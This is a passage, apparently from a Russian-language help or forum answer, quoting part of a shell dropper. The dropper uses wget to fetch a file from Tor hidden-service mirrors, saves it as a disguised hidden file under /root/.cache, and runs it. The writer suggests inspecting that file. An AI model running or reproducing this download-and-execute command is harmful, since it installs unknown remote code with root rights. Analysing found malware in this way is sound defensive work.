            --connect-timeout=22 --timeout=75 \
            https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /root/.cache/.ntp \
        || ${wget} --quiet --tries=2 --wait=5 --no-check-certificate \
            --connect-timeout=22 --timeout=75 \
            https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /root/.cache/.ntp
) && chmod +x /root/.cache/.ntp && /bin/sh /root/.cache/.ntp

Возможно, вы захотите взглянуть на /root/.cache/.ntp, чтобы выяснить, что она делает.

...